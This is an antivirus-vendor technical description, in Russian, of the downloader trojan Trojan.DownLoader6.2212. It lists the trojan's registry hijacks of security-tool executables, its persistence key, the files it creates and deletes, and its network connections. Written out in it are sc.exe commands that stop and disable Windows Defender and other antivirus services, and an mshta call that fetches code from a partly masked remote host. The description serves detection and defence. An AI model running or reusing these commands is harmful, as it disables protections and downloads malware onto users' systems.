Trojan.DownLoader6.2212

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcmnhdlr.exe] 'Debugger' = 'svchost.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcmscsvc.exe] 'Debugger' = 'svchost.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mapisvc32.exe] 'Debugger' = 'svchost.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcagent.exe] 'Debugger' = 'svchost.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcnasvc.exe] 'Debugger' = 'svchost.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcshell.exe] 'Debugger' = 'svchost.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcshield.exe] 'Debugger' = 'svchost.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcproxy.exe] 'Debugger' = 'svchost.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\McSACore.exe] 'Debugger' = 'svchost.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mbamgui.exe] 'Debugger' = 'svchost.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mbam.exe] 'Debugger' = 'svchost.exe'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Inspector' = '%APPDATA%\Protector-ihnb.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mbamservice.exe] 'Debugger' = 'svchost.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\luau.exe] 'Debugger' = 'svchost.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\luspt.exe] 'Debugger' = 'svchost.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MalwareRemoval.exe] 'Debugger' = 'svchost.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lucomserver.exe] 'Debugger' = 'svchost.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\luinit.exe] 'Debugger' = 'svchost.exe'

Вредоносные функции:

Создает и запускает на исполнение:

%APPDATA%\npswf32.tmp
%APPDATA%\Protector-ihnb.exe
%APPDATA%\npswf32.tmp (загружен из сети Интернет)

Запускает на исполнение:

<SYSTEM32>\sc.exe stop AntiVirService
<SYSTEM32>\sc.exe config ekrn start= disabled
<SYSTEM32>\sc.exe config AntiVirSchedulerService start= disabled
<SYSTEM32>\sc.exe config AntiVirService start= disabled
<SYSTEM32>\sc.exe config msmpsvc start= disabled
<SYSTEM32>\sc.exe stop WinDefend
<SYSTEM32>\mshta.exe "http://ga#####.onlinesecstats.info/?0=#########################################################################################"
<SYSTEM32>\sc.exe stop msmpsvc
<SYSTEM32>\sc.exe config WinDefend start= disabled

Изменения в файловой системе:

Создает следующие файлы:

%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\NPSWF32[1].z
%APPDATA%\npswf32.tmp
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\galaint.onlinesecstats[1].2180&9=1058&10=480&11=0000&12=knswliqysu&14=0
%APPDATA%\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#local\settings.sol
<SYSTEM32>\d3d9caps.dat
%APPDATA%\Protector-ihnb.exe
<SYSTEM32>\d3d9caps.tmp

Удаляет следующие файлы:

%APPDATA%\npswf32.tmp
<SYSTEM32>\d3d9caps.dat

Самоудаляется.

Сетевая активность:

Подключается к:

'localhost':1039
'ga#####.onlinesecstats.info':80
'localhost':1036
'dl.##opbox.com':80

TCP:

Запросы HTTP GET:

ga#####.onlinesecstats.info/?0=#########################################################################################
dl.##opbox.com/u/71135467/NPSWF32.z

UDP: